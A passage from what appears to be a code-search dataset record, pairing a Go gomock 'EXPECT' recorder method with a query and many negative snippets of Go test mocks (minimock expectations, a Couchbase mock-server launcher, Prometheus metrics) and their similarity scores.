!= nil {\n\t\tthrowMockError(\"Couldn't set up listening socket\", err)\n\t}\n\t_, ctlPort, err := net.SplitHostPort(lsn.Addr().String())\n\tif err != nil {\n\t\tlog.Fatalf(\"Failed to split host and port: %v\", err)\n\t}\n\tlog.Printf(\"Listening for control connection at %s\\n\", ctlPort)\n\n\tgo func() {\n\t\tvar err error\n\n\t\tdefer func() {\n\t\t\tchAccept <- false\n\t\t}()\n\t\tif m.conn, err = lsn.Accept(); err != nil {\n\t\t\tthrowMockError(\"Couldn't accept incoming control connection from mock\", err)\n\t\t\treturn\n\t\t}\n\t}()\n\n\tif len(specs) == 0 {\n\t\tspecs = []BucketSpec{{Name: \"default\", Type: BCouchbase}}\n\t}\n\n\toptions := []string{\n\t\t\"-jar\", path, \"--harakiri-monitor\", \"localhost:\" + ctlPort, \"--port\", \"0\",\n\t\t\"--replicas\", strconv.Itoa(int(replicas)),\n\t\t\"--vbuckets\", strconv.Itoa(int(vbuckets)),\n\t\t\"--nodes\", strconv.Itoa(int(nodes)),\n\t\t\"--buckets\", m.buildSpecStrings(specs),\n\t}\n\n\tlog.Printf(\"Invoking java %s\", strings.Join(options, \" \"))\n\tm.cmd = exec.Command(\"java\", options...)\n\n\tm.cmd.Stdout = os.Stdout\n\tm.cmd.Stderr = os.Stderr\n\n\tif err = m.cmd.Start(); err != nil {\n\t\tm.cmd = nil\n\t\tthrowMockError(\"Couldn't start command\", err)\n\t}\n\n\tselect {\n\tcase <-chAccept:\n\t\tbreak\n\n\tcase <-time.After(mockInitTimeout):\n\t\tthrowMockError(\"Timed out waiting for initialization\", errors.New(\"timeout\"))\n\t}\n\n\tm.rw = bufio.NewReadWriter(bufio.NewReader(m.conn), bufio.NewWriter(m.conn))\n\n\t// Read the port buffer, which is delimited by a NUL byte\n\tif portBytes, err := m.rw.ReadBytes(0); err != nil {\n\t\tthrowMockError(\"Couldn't get port information\", err)\n\t} else {\n\t\tportBytes = portBytes[:len(portBytes)-1]\n\t\tif entryPort, err := strconv.Atoi(string(portBytes)); err != nil {\n\t\t\tthrowMockError(\"Incorrectly formatted port from mock\", err)\n\t\t} else {\n\t\t\tm.EntryPort = uint16(entryPort)\n\t\t}\n\t}\n\n\tlog.Printf(\"Mock HTTP port at %d\\n\", m.EntryPort)\n\treturn\n}", "func ExampleMetricSetFactory() {}", "func (_m *PrometheusAlertClient) ReloadPrometheus() error {\n\tret := _m.Called()\n\n\tvar r0 error\n\tif rf, ok := ret.Get(0).(func() error); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Error(0)\n\t}\n\n\treturn r0\n}", "func New() *Metrics {\n\tm := &Metrics{\n\t\tBuildInfo: prometheus.NewGaugeVec(prometheus.GaugeOpts{\n\t\t\tNamespace: Namespace,\n\t\t\tSubsystem: Subsystem,\n\t\t\tName: \"build_info\",\n\t\t\tHelp: \"Build information\",\n\t\t}, []string{\"version\"}),\n\t}\n\n\t_ = prometheus.Register(m.BuildInfo)\n\t// TODO: implement metrics\n\treturn m\n}", "func init() {\n\tif err := mb.Registry.AddMetricSet(\"haproxy\", \"info\", New); err != nil {\n\t\tpanic(err)\n\t}\n}", "func New() *MockLibvirt {\n\tserv, conn := net.Pipe()\n\n\tm := &MockLibvirt{\n\t\tConn: conn,\n\t\tTest: serv,\n\t}\n\n\tgo m.handle(serv)\n\n\treturn m\n}" ]
[ "0.6877865", "0.59193677", "0.579736", "0.57955056", "0.577964", "0.56905544", "0.5642287", "0.56353635", "0.5589765", "0.55751973", "0.55457", "0.5538047", "0.55342364", "0.55148333", "0.54903686", "0.5463535", "0.54268783", "0.5412413", "0.5401817", "0.53923434", "0.5383045", "0.5346748", "0.5333051", "0.5328414", "0.5324294", "0.53204125", "0.53176296", "0.53150064", "0.52992857", "0.5295978", "0.5263321", "0.5255587", "0.5249942", "0.523521", "0.523521", "0.523521", "0.523521", "0.523521", "0.523104", "0.52261806", "0.522116", "0.52173936", "0.5184813", "0.5184813", "0.5184813", "0.5184813", "0.5184813", "0.5184813", "0.5184813", "0.5184813", "0.5184813", "0.5184813", "0.5184813", "0.5184813", "0.5184114", "0.51642656", "0.5161365", "0.5150054", "0.5132245", "0.5129644", "0.51282585", "0.5126241", "0.5126083", "0.511479", "0.5098782", "0.5093562", "0.5081468", "0.50756705", "0.5058672", "0.5057742", "0.50503665", "0.5044224", "0.5041691", "0.5039597", "0.5039491", "0.5038765", "0.50337994", "0.5024351", "0.50100243", "0.4993377", "0.49834487", "0.49793077", "0.4978526", "0.49635854", "0.49572966", "0.49552453", "0.49552453", "0.4946877", "0.49393582", "0.4935053", "0.49348062", "0.49279934", "0.4917186", "0.4916331", "0.4907123", "0.4896641", "0.4890144", "0.488947", "0.48790646", "0.48778635" ]
0.7650323
0
EXPECT returns an object that allows the caller to indicate expected use
func (m *MockprometheusInterface) EXPECT() *MockprometheusInterfaceMockRecorder { return m.recorder }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (mmGetObject *mClientMockGetObject) Expect(ctx context.Context, head insolar.Reference) *mClientMockGetObject {\n\tif mmGetObject.mock.funcGetObject != nil {\n\t\tmmGetObject.mock.t.Fatalf(\"ClientMock.GetObject mock is already set by Set\")\n\t}\n\n\tif mmGetObject.defaultExpectation == nil {\n\t\tmmGetObject.defaultExpectation = &ClientMockGetObjectExpectation{}\n\t}\n\n\tmmGetObject.defaultExpectation.params = &ClientMockGetObjectParams{ctx, head}\n\tfor _, e := range mmGetObject.expectations {\n\t\tif minimock.Equal(e.params, mmGetObject.defaultExpectation.params) {\n\t\t\tmmGetObject.mock.t.Fatalf(\"Expectation set by When has same params: %#v\", *mmGetObject.defaultExpectation.params)\n\t\t}\n\t}\n\n\treturn mmGetObject\n}", "func (r Requester) Assert(actual, expected interface{}) Requester {\n\t//r.actualResponse = actual\n\t//r.expectedResponse = expected\n\treturn r\n}", "func (r *Request) Expect(t *testing.T) *Response {\n\tr.apiTest.t = t\n\treturn r.apiTest.response\n}", "func (m *MockNotary) Notarize(arg0 string) (map[string]interface{}, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Notarize\", arg0)\n\tret0, _ := ret[0].(map[string]interface{})\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (tc TestCases) expect() {\n\tfmt.Println(cnt)\n\tcnt++\n\tif !reflect.DeepEqual(tc.resp, tc.respExp) {\n\t\ttc.t.Error(fmt.Sprintf(\"\\nRequested: \", tc.req, \"\\nExpected: \", tc.respExp, \"\\nFound: \", tc.resp))\n\t}\n}", "func (r *Request) Expect(t TestingT) *Response {\n\tr.apiTest.t = t\n\treturn r.apiTest.response\n}", "func Expect(t cbtest.T, actual interface{}, matcher matcher.Matcher, labelAndArgs ...interface{}) {\n\tt.Helper()\n\tres := ExpectE(t, actual, matcher, labelAndArgs...)\n\tif !res {\n\t\tt.FailNow()\n\t}\n}", "func (m *MockisObject_Obj) EXPECT() *MockisObject_ObjMockRecorder {\n\treturn m.recorder\n}", "func Expect(t *testing.T, v, m interface{}) {\n\tvt, vok := v.(Equaler)\n\tmt, mok := m.(Equaler)\n\n\tvar state bool\n\tif vok && mok {\n\t\tstate = vt.Equal(mt)\n\t} else {\n\t\tstate = reflect.DeepEqual(v, m)\n\t}\n\n\tif state {\n\t\tflux.FatalFailed(t, \"Value %+v and %+v are not a match\", v, m)\n\t\treturn\n\t}\n\tflux.LogPassed(t, \"Value %+v and %+v are a match\", v, m)\n}", "func (mmState *mClientMockState) Expect() *mClientMockState {\n\tif mmState.mock.funcState != nil {\n\t\tmmState.mock.t.Fatalf(\"ClientMock.State mock is already set by Set\")\n\t}\n\n\tif mmState.defaultExpectation == nil {\n\t\tmmState.defaultExpectation = &ClientMockStateExpectation{}\n\t}\n\n\treturn mmState\n}", "func (mmProvide *mContainerMockProvide) Expect(constructor interface{}) *mContainerMockProvide {\n\tif mmProvide.mock.funcProvide != nil {\n\t\tmmProvide.mock.t.Fatalf(\"ContainerMock.Provide mock is already set by Set\")\n\t}\n\n\tif mmProvide.defaultExpectation == nil {\n\t\tmmProvide.defaultExpectation = &ContainerMockProvideExpectation{}\n\t}\n\n\tmmProvide.defaultExpectation.params = &ContainerMockProvideParams{constructor}\n\tfor _, e := range mmProvide.expectations {\n\t\tif minimock.Equal(e.params, mmProvide.defaultExpectation.params) {\n\t\t\tmmProvide.mock.t.Fatalf(\"Expectation set by When has same params: %#v\", *mmProvide.defaultExpectation.params)\n\t\t}\n\t}\n\n\treturn mmProvide\n}", "func Mock() Env {\n\treturn mock.New()\n}", "func (mmGetCode *mClientMockGetCode) Expect(ctx context.Context, ref insolar.Reference) *mClientMockGetCode {\n\tif mmGetCode.mock.funcGetCode != nil {\n\t\tmmGetCode.mock.t.Fatalf(\"ClientMock.GetCode mock is already set by Set\")\n\t}\n\n\tif mmGetCode.defaultExpectation == nil {\n\t\tmmGetCode.defaultExpectation = &ClientMockGetCodeExpectation{}\n\t}\n\n\tmmGetCode.defaultExpectation.params = &ClientMockGetCodeParams{ctx, ref}\n\tfor _, e := range mmGetCode.expectations {\n\t\tif minimock.Equal(e.params, mmGetCode.defaultExpectation.params) {\n\t\t\tmmGetCode.mock.t.Fatalf(\"Expectation set by When has same params: %#v\", *mmGetCode.defaultExpectation.params)\n\t\t}\n\t}\n\n\treturn mmGetCode\n}", "func expect(t *testing.T, method, url string, testieOptions ...func(*http.Request)) *testie {\n\treq, err := http.NewRequest(method, url, nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tfor _, opt := range testieOptions {\n\t\topt(req)\n\t}\n\n\treturn testReq(t, req)\n}", "func (_m *MockOStream) EXPECT() *MockOStreamMockRecorder {\n\treturn _m.recorder\n}", "func (mmGetUser *mStorageMockGetUser) Expect(ctx context.Context, userID int64) *mStorageMockGetUser {\n\tif mmGetUser.mock.funcGetUser != nil {\n\t\tmmGetUser.mock.t.Fatalf(\"StorageMock.GetUser mock is already set by Set\")\n\t}\n\n\tif mmGetUser.defaultExpectation == nil {\n\t\tmmGetUser.defaultExpectation = &StorageMockGetUserExpectation{}\n\t}\n\n\tmmGetUser.defaultExpectation.params = &StorageMockGetUserParams{ctx, userID}\n\tfor _, e := range mmGetUser.expectations {\n\t\tif minimock.Equal(e.params, mmGetUser.defaultExpectation.params) {\n\t\t\tmmGetUser.mock.t.Fatalf(\"Expectation set by When has same params: %#v\", *mmGetUser.defaultExpectation.params)\n\t\t}\n\t}\n\n\treturn mmGetUser\n}", "func (mmGetObject *mClientMockGetObject) Return(o1 ObjectDescriptor, err error) *ClientMock {\n\tif mmGetObject.mock.funcGetObject != nil {\n\t\tmmGetObject.mock.t.Fatalf(\"ClientMock.GetObject mock is already set by Set\")\n\t}\n\n\tif mmGetObject.defaultExpectation == nil {\n\t\tmmGetObject.defaultExpectation = &ClientMockGetObjectExpectation{mock: mmGetObject.mock}\n\t}\n\tmmGetObject.defaultExpectation.results = &ClientMockGetObjectResults{o1, err}\n\treturn mmGetObject.mock\n}", "func (mmGather *mGathererMockGather) Expect() *mGathererMockGather {\n\tif mmGather.mock.funcGather != nil {\n\t\tmmGather.mock.t.Fatalf(\"GathererMock.Gather mock is already set by Set\")\n\t}\n\n\tif mmGather.defaultExpectation == nil {\n\t\tmmGather.defaultExpectation = &GathererMockGatherExpectation{}\n\t}\n\n\treturn mmGather\n}", "func (m *MockParser) EXPECT() *MockParserMockRecorder {\n\treturn m.recorder\n}", "func (m *MockParser) EXPECT() *MockParserMockRecorder {\n\treturn m.recorder\n}", "func (mmWriteTo *mDigestHolderMockWriteTo) Expect(w io.Writer) *mDigestHolderMockWriteTo {\n\tif mmWriteTo.mock.funcWriteTo != nil {\n\t\tmmWriteTo.mock.t.Fatalf(\"DigestHolderMock.WriteTo mock is already set by Set\")\n\t}\n\n\tif mmWriteTo.defaultExpectation == nil {\n\t\tmmWriteTo.defaultExpectation = &DigestHolderMockWriteToExpectation{}\n\t}\n\n\tmmWriteTo.defaultExpectation.params = &DigestHolderMockWriteToParams{w}\n\tfor _, e := range mmWriteTo.expectations {\n\t\tif minimock.Equal(e.params, mmWriteTo.defaultExpectation.params) {\n\t\t\tmmWriteTo.mock.t.Fatalf(\"Expectation set by When has same params: %#v\", *mmWriteTo.defaultExpectation.params)\n\t\t}\n\t}\n\n\treturn mmWriteTo\n}", "func (rb *RequestBuilder) EXPECT() *ResponseAsserter {\n\treq := httptest.NewRequest(rb.method, rb.path, rb.body)\n\tfor k, v := range rb.hdr {\n\t\treq.Header[k] = v\n\t}\n\n\trec := httptest.NewRecorder()\n\trb.cas.h.ServeHTTP(rec, req)\n\n\treturn &ResponseAsserter{\n\t\trec: rec,\n\t\treq: req,\n\t\tb: rb,\n\t\tfail: rb.fail.\n\t\t\tCopy().\n\t\t\tWithRequest(req).\n\t\t\tWithResponse(rec),\n\t}\n}", "func (mmGetState *mGatewayMockGetState) Expect() *mGatewayMockGetState {\n\tif mmGetState.mock.funcGetState != nil {\n\t\tmmGetState.mock.t.Fatalf(\"GatewayMock.GetState mock is already set by Set\")\n\t}\n\n\tif mmGetState.defaultExpectation == nil {\n\t\tmmGetState.defaultExpectation = &GatewayMockGetStateExpectation{}\n\t}\n\n\treturn mmGetState\n}", "func (m *mParcelMockGetSign) Expect() *mParcelMockGetSign {\n\tm.mock.GetSignFunc = nil\n\tm.expectationSeries = nil\n\n\tif m.mainExpectation == nil {\n\t\tm.mainExpectation = &ParcelMockGetSignExpectation{}\n\t}\n\n\treturn m\n}", "func (mmCreateTag *mTagCreatorMockCreateTag) Expect(t1 semantic.Tag) *mTagCreatorMockCreateTag {\n\tif mmCreateTag.mock.funcCreateTag != nil {\n\t\tmmCreateTag.mock.t.Fatalf(\"TagCreatorMock.CreateTag mock is already set by Set\")\n\t}\n\n\tif mmCreateTag.defaultExpectation == nil {\n\t\tmmCreateTag.defaultExpectation = &TagCreatorMockCreateTagExpectation{}\n\t}\n\n\tmmCreateTag.defaultExpectation.params = &TagCreatorMockCreateTagParams{t1}\n\tfor _, e := range mmCreateTag.expectations {\n\t\tif minimock.Equal(e.params, mmCreateTag.defaultExpectation.params) {\n\t\t\tmmCreateTag.mock.t.Fatalf(\"Expectation set by When has same params: %#v\", *mmCreateTag.defaultExpectation.params)\n\t\t}\n\t}\n\n\treturn mmCreateTag\n}", "func (m *MockActorUsecase) EXPECT() *MockActorUsecaseMockRecorder {\n\treturn m.recorder\n}", "func (m *mParcelMockGetCaller) Expect() *mParcelMockGetCaller {\n\tm.mock.GetCallerFunc = nil\n\tm.expectationSeries = nil\n\n\tif m.mainExpectation == nil {\n\t\tm.mainExpectation = &ParcelMockGetCallerExpectation{}\n\t}\n\n\treturn m\n}", "func mockAlwaysRun() bool { return true }", "func (m *MockArg) EXPECT() *MockArgMockRecorder {\n\treturn m.recorder\n}", "func (m *MockUsecase) EXPECT() *MockUsecaseMockRecorder {\n\treturn m.recorder\n}", "func (m *MockUsecase) EXPECT() *MockUsecaseMockRecorder {\n\treturn m.recorder\n}", "func (m *MockUsecase) EXPECT() *MockUsecaseMockRecorder {\n\treturn m.recorder\n}", "func (m *MockUsecase) EXPECT() *MockUsecaseMockRecorder {\n\treturn m.recorder\n}", "func (m *MockUsecase) EXPECT() *MockUsecaseMockRecorder {\n\treturn m.recorder\n}", "func (m *MockUsecase) EXPECT() *MockUsecaseMockRecorder {\n\treturn m.recorder\n}", "func (m *MockUsecase) EXPECT() *MockUsecaseMockRecorder {\n\treturn m.recorder\n}", "func (m *MockUsecase) EXPECT() *MockUsecaseMockRecorder {\n\treturn m.recorder\n}", "func (st *SDKTester) Test(resp interface{}) {\n\tif resp == nil || st.respWant == nil {\n\t\tst.t.Logf(\"response want/got is nil, abort\\n\")\n\t\treturn\n\t}\n\n\trespMap := st.getFieldMap(resp)\n\tfor i, v := range st.respWant {\n\t\tif reflect.DeepEqual(v, respMap[i]) {\n\t\t\tcontinue\n\t\t}\n\t\tswitch x := respMap[i].(type) {\n\t\tcase Stringer:\n\t\t\tif !assert.Equal(st.t, v, x.String()) {\n\t\t\t\tst.t.Errorf(\"%s want %v, got %v\", i, v, respMap[i])\n\t\t\t}\n\t\tcase map[string]interface{}:\n\t\t\tif value, ok := x[\"Value\"]; ok {\n\t\t\t\tif !assert.Equal(st.t, v, value) {\n\t\t\t\t\tst.t.Errorf(\"%s want %v, got %v\", i, v, respMap[i])\n\t\t\t\t}\n\t\t\t}\n\t\tcase Inter:\n\t\t\tif !assert.Equal(st.t, v, x.Int()) {\n\t\t\t\tst.t.Errorf(\"%s want %v, got %v\", i, v, respMap[i])\n\t\t\t}\n\t\tdefault:\n\t\t\tif !assert.Equal(st.t, v, respMap[i]) {\n\t\t\t\tst.t.Errorf(\"%s want %v, got %v\", i, v, respMap[i])\n\t\t\t}\n\t\t}\n\t}\n}", "func (m *MockCreator) EXPECT() *MockCreatorMockRecorder {\n\treturn m.recorder\n}", "func (m *MockCreator) EXPECT() *MockCreatorMockRecorder {\n\treturn m.recorder\n}", "func TestCallFunc_arguments(t *testing.T) {\n\n}", "func (m *mParcelMockGetSender) Expect() *mParcelMockGetSender {\n\tm.mock.GetSenderFunc = nil\n\tm.expectationSeries = nil\n\n\tif m.mainExpectation == nil {\n\t\tm.mainExpectation = &ParcelMockGetSenderExpectation{}\n\t}\n\n\treturn m\n}", "func TestGetNone4A(t *testing.T) {\n}", "func expectEqual(value, expected interface{}) {\n\tif value != expected {\n\t\tfmt.Printf(\"Fehler: %v bekommen, erwartet war aber %v.\\n\", value, expected)\n\t} else {\n\t\tfmt.Printf(\"OK: %v bekommen, erwartet war aber %v.\\n\", value, expected)\n\t}\n}", "func (mmHasPendings *mClientMockHasPendings) Expect(ctx context.Context, object insolar.Reference) *mClientMockHasPendings {\n\tif mmHasPendings.mock.funcHasPendings != nil {\n\t\tmmHasPendings.mock.t.Fatalf(\"ClientMock.HasPendings mock is already set by Set\")\n\t}\n\n\tif mmHasPendings.defaultExpectation == nil {\n\t\tmmHasPendings.defaultExpectation = &ClientMockHasPendingsExpectation{}\n\t}\n\n\tmmHasPendings.defaultExpectation.params = &ClientMockHasPendingsParams{ctx, object}\n\tfor _, e := range mmHasPendings.expectations {\n\t\tif minimock.Equal(e.params, mmHasPendings.defaultExpectation.params) {\n\t\t\tmmHasPendings.mock.t.Fatalf(\"Expectation set by When has same params: %#v\", *mmHasPendings.defaultExpectation.params)\n\t\t}\n\t}\n\n\treturn mmHasPendings\n}", "func (mmGetPacketSignature *mPacketParserMockGetPacketSignature) Expect() *mPacketParserMockGetPacketSignature {\n\tif mmGetPacketSignature.mock.funcGetPacketSignature != nil {\n\t\tmmGetPacketSignature.mock.t.Fatalf(\"PacketParserMock.GetPacketSignature mock is already set by Set\")\n\t}\n\n\tif mmGetPacketSignature.defaultExpectation == nil {\n\t\tmmGetPacketSignature.defaultExpectation = &PacketParserMockGetPacketSignatureExpectation{}\n\t}\n\n\treturn mmGetPacketSignature\n}", "func Run(t testing.TB, cloud cloud.Client, src string, opts ...RunOption) {\n\n\tif cloud == nil {\n\t\tcloud = mockcloud.Client(nil)\n\t}\n\n\tvm := otto.New()\n\n\tpkg, err := godotto.Apply(context.Background(), vm, cloud)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tvm.Set(\"cloud\", pkg)\n\tvm.Set(\"equals\", func(call otto.FunctionCall) otto.Value {\n\t\tvm := call.Otto\n\t\tgot, err := call.Argument(0).Export()\n\t\tif err != nil {\n\t\t\tottoutil.Throw(vm, err.Error())\n\t\t}\n\t\twant, err := call.Argument(1).Export()\n\t\tif err != nil {\n\t\t\tottoutil.Throw(vm, err.Error())\n\t\t}\n\t\tok, cause := deepEqual(got, want)\n\t\tif ok {\n\t\t\treturn otto.UndefinedValue()\n\t\t}\n\t\tmsg := \"assertion failed!\\n\" + cause\n\n\t\tif len(call.ArgumentList) > 2 {\n\t\t\tformat, err := call.ArgumentList[2].ToString()\n\t\t\tif err != nil {\n\t\t\t\tottoutil.Throw(vm, err.Error())\n\t\t\t}\n\t\t\tmsg += \"\\n\" + format\n\t\t}\n\t\tottoutil.Throw(vm, msg)\n\t\treturn otto.UndefinedValue()\n\t})\n\tvm.Set(\"assert\", func(call otto.FunctionCall) otto.Value {\n\t\tvm := call.Otto\n\t\tv, err := call.Argument(0).ToBoolean()\n\t\tif err != nil {\n\t\t\tottoutil.Throw(vm, err.Error())\n\t\t}\n\t\tif v {\n\t\t\treturn otto.UndefinedValue()\n\t\t}\n\t\tmsg := \"assertion failed!\"\n\t\tif len(call.ArgumentList) > 1 {\n\t\t\tformat, err := call.ArgumentList[1].ToString()\n\t\t\tif err != nil {\n\t\t\t\tottoutil.Throw(vm, err.Error())\n\t\t\t}\n\t\t\tmsg += \"\\n\" + format\n\t\t}\n\t\tottoutil.Throw(vm, msg)\n\t\treturn otto.UndefinedValue()\n\t})\n\tscript, err := vm.Compile(\"\", src)\n\tif err != nil {\n\t\tt.Fatalf(\"invalid code: %v\", err)\n\t}\n\n\tfor _, opt := range opts {\n\t\tif err := opt(vm); err != nil {\n\t\t\tt.Fatalf(\"can't apply option: %v\", err)\n\t\t}\n\t}\n\n\tif _, err := vm.Run(script); err != nil {\n\t\tif oe, ok := err.(*otto.Error); ok {\n\t\t\tt.Fatal(oe.String())\n\t\t} else {\n\t\t\tt.Fatal(err)\n\t\t}\n\t}\n}", "func TestSetGoodArgs(t *testing.T) {\n\tfmt.Println(\"Entering the test method for SetGoodArgs\")\n\tprovcc := new(SimpleAsset)\n\tstub := shim.NewMockStub(\"ANY_PARAM\", provcc)\n\n\t// Testing the init. It always return true. No parameters in init. \n\t\n\tcheckInit(t, stub, [][]byte{[]byte(\"init\")})\n\n\tres := stub.MockInvoke(\"1\", [][]byte{[]byte(\"set\"), []byte(\"S52fkpF2rCEArSuwqyDA9tVjawUdrkGzbNQLaa7xJfA=\"),\n\t[]byte(\"agentInfo.atype\"),[]byte(\"1.2.3.4\"),\n\t[]byte(\"agentInfo.id\"),[]byte(\"agentidentifier\"),\n\t[]byte(\"agentinfo.name\"),[]byte(\"7.8.9\"),\n\t[]byte(\"agentinfo.idp\"),[]byte(\"urn:tiani-spirit:sts\"),\n\t[]byte(\"locationInfo.id\"),[]byte(\"urn:oid:1.2.3\"),\n\t[]byte(\"locationInfo.name\"),[]byte(\"General Hospital\"),\n\t[]byte(\"locationInfo.locality\"),[]byte(\"Nashville, TN\"),\n\t[]byte(\"locationInfo.docid\"),[]byte(\"1.2.3\"),\n\t[]byte(\"action\"),[]byte(\"ex:CREATE\"),\n\t[]byte(\"date\"),[]byte(\"2018-11-10T12:15:55.028Z\")})\n\n\tif res.Status != shim.OK {\n\t\tfmt.Println(\"Invoke failed\", string(res.Message))\n\t\tt.FailNow()\n\t}\n\t\n}", "func (mmRegisterResult *mClientMockRegisterResult) Expect(ctx context.Context, request insolar.Reference, result RequestResult) *mClientMockRegisterResult {\n\tif mmRegisterResult.mock.funcRegisterResult != nil {\n\t\tmmRegisterResult.mock.t.Fatalf(\"ClientMock.RegisterResult mock is already set by Set\")\n\t}\n\n\tif mmRegisterResult.defaultExpectation == nil {\n\t\tmmRegisterResult.defaultExpectation = &ClientMockRegisterResultExpectation{}\n\t}\n\n\tmmRegisterResult.defaultExpectation.params = &ClientMockRegisterResultParams{ctx, request, result}\n\tfor _, e := range mmRegisterResult.expectations {\n\t\tif minimock.Equal(e.params, mmRegisterResult.defaultExpectation.params) {\n\t\t\tmmRegisterResult.mock.t.Fatalf(\"Expectation set by When has same params: %#v\", *mmRegisterResult.defaultExpectation.params)\n\t\t}\n\t}\n\n\treturn mmRegisterResult\n}", "func Mock() Cluster { return mockCluster{} }", "func (m *MockS3API) EXPECT() *MockS3APIMockRecorder {\n\treturn m.recorder\n}", "func mockedGranter(kubeutil *kube.Kube, app *v1.RadixRegistration, namespace string, serviceAccount *corev1.ServiceAccount) error {\n\treturn nil\n}", "func (mmGetPendings *mClientMockGetPendings) Expect(ctx context.Context, objectRef insolar.Reference) *mClientMockGetPendings {\n\tif mmGetPendings.mock.funcGetPendings != nil {\n\t\tmmGetPendings.mock.t.Fatalf(\"ClientMock.GetPendings mock is already set by Set\")\n\t}\n\n\tif mmGetPendings.defaultExpectation == nil {\n\t\tmmGetPendings.defaultExpectation = &ClientMockGetPendingsExpectation{}\n\t}\n\n\tmmGetPendings.defaultExpectation.params = &ClientMockGetPendingsParams{ctx, objectRef}\n\tfor _, e := range mmGetPendings.expectations {\n\t\tif minimock.Equal(e.params, mmGetPendings.defaultExpectation.params) {\n\t\t\tmmGetPendings.mock.t.Fatalf(\"Expectation set by When has same params: %#v\", *mmGetPendings.defaultExpectation.params)\n\t\t}\n\t}\n\n\treturn mmGetPendings\n}", "func (m *MockOrg) EXPECT() *MockOrgMockRecorder {\n\treturn m.recorder\n}", "func (mmGetUserLocation *mStorageMockGetUserLocation) Expect(ctx context.Context, userID int64) *mStorageMockGetUserLocation {\n\tif mmGetUserLocation.mock.funcGetUserLocation != nil {\n\t\tmmGetUserLocation.mock.t.Fatalf(\"StorageMock.GetUserLocation mock is already set by Set\")\n\t}\n\n\tif mmGetUserLocation.defaultExpectation == nil {\n\t\tmmGetUserLocation.defaultExpectation = &StorageMockGetUserLocationExpectation{}\n\t}\n\n\tmmGetUserLocation.defaultExpectation.params = &StorageMockGetUserLocationParams{ctx, userID}\n\tfor _, e := range mmGetUserLocation.expectations {\n\t\tif minimock.Equal(e.params, mmGetUserLocation.defaultExpectation.params) {\n\t\t\tmmGetUserLocation.mock.t.Fatalf(\"Expectation set by When has same params: %#v\", *mmGetUserLocation.defaultExpectation.params)\n\t\t}\n\t}\n\n\treturn mmGetUserLocation\n}", "func (mmCreate *mPaymentRepositoryMockCreate) Expect(ctx context.Context, from int64, to int64, amount int64) *mPaymentRepositoryMockCreate {\n\tif mmCreate.mock.funcCreate != nil {\n\t\tmmCreate.mock.t.Fatalf(\"PaymentRepositoryMock.Create mock is already set by Set\")\n\t}\n\n\tif mmCreate.defaultExpectation == nil {\n\t\tmmCreate.defaultExpectation = &PaymentRepositoryMockCreateExpectation{}\n\t}\n\n\tmmCreate.defaultExpectation.params = &PaymentRepositoryMockCreateParams{ctx, from, to, amount}\n\tfor _, e := range mmCreate.expectations {\n\t\tif minimock.Equal(e.params, mmCreate.defaultExpectation.params) {\n\t\t\tmmCreate.mock.t.Fatalf(\"Expectation set by When has same params: %#v\", *mmCreate.defaultExpectation.params)\n\t\t}\n\t}\n\n\treturn mmCreate\n}", "func (mmAuther *mGatewayMockAuther) Expect() *mGatewayMockAuther {\n\tif mmAuther.mock.funcAuther != nil {\n\t\tmmAuther.mock.t.Fatalf(\"GatewayMock.Auther mock is already set by Set\")\n\t}\n\n\tif mmAuther.defaultExpectation == nil {\n\t\tmmAuther.defaultExpectation = &GatewayMockAutherExpectation{}\n\t}\n\n\treturn mmAuther\n}", "func TestObjectsMeetReq(t *testing.T) {\n\tvar kr verifiable.StorageReader\n\tvar kw verifiable.StorageWriter\n\n\tvar m verifiable.MutatorService\n\n\tvar o verifiable.AuthorizationOracle\n\n\tkr = &memory.TransientStorage{}\n\tkw = &memory.TransientStorage{}\n\n\tkr = &bolt.Storage{}\n\tkw = &bolt.Storage{}\n\n\tkr = &badger.Storage{}\n\tkw = &badger.Storage{}\n\n\tm = &instant.Mutator{}\n\tm = (&batch.Mutator{}).MustCreate()\n\n\to = policy.Open\n\to = &policy.Static{}\n\n\tlog.Println(kr, kw, m, o) // \"use\" these so that go compiler will be quiet\n}", "func (mmInvoke *mContainerMockInvoke) Expect(function interface{}) *mContainerMockInvoke {\n\tif mmInvoke.mock.funcInvoke != nil {\n\t\tmmInvoke.mock.t.Fatalf(\"ContainerMock.Invoke mock is already set by Set\")\n\t}\n\n\tif mmInvoke.defaultExpectation == nil {\n\t\tmmInvoke.defaultExpectation = &ContainerMockInvokeExpectation{}\n\t}\n\n\tmmInvoke.defaultExpectation.params = &ContainerMockInvokeParams{function}\n\tfor _, e := range mmInvoke.expectations {\n\t\tif minimock.Equal(e.params, mmInvoke.defaultExpectation.params) {\n\t\t\tmmInvoke.mock.t.Fatalf(\"Expectation set by When has same params: %#v\", *mmInvoke.defaultExpectation.params)\n\t\t}\n\t}\n\n\treturn mmInvoke\n}", "func (mmGetPosition *mStoreMockGetPosition) Expect(account string, contractID string) *mStoreMockGetPosition {\n\tif mmGetPosition.mock.funcGetPosition != nil {\n\t\tmmGetPosition.mock.t.Fatalf(\"StoreMock.GetPosition mock is already set by Set\")\n\t}\n\n\tif mmGetPosition.defaultExpectation == nil {\n\t\tmmGetPosition.defaultExpectation = &StoreMockGetPositionExpectation{}\n\t}\n\n\tmmGetPosition.defaultExpectation.params = &StoreMockGetPositionParams{account, contractID}\n\tfor _, e := range mmGetPosition.expectations {\n\t\tif minimock.Equal(e.params, mmGetPosition.defaultExpectation.params) {\n\t\t\tmmGetPosition.mock.t.Fatalf(\"Expectation set by When has same params: %#v\", *mmGetPosition.defaultExpectation.params)\n\t\t}\n\t}\n\n\treturn mmGetPosition\n}", "func (mmGetAbandonedRequest *mClientMockGetAbandonedRequest) Expect(ctx context.Context, objectRef insolar.Reference, reqRef insolar.Reference) *mClientMockGetAbandonedRequest {\n\tif mmGetAbandonedRequest.mock.funcGetAbandonedRequest != nil {\n\t\tmmGetAbandonedRequest.mock.t.Fatalf(\"ClientMock.GetAbandonedRequest mock is already set by Set\")\n\t}\n\n\tif mmGetAbandonedRequest.defaultExpectation == nil {\n\t\tmmGetAbandonedRequest.defaultExpectation = &ClientMockGetAbandonedRequestExpectation{}\n\t}\n\n\tmmGetAbandonedRequest.defaultExpectation.params = 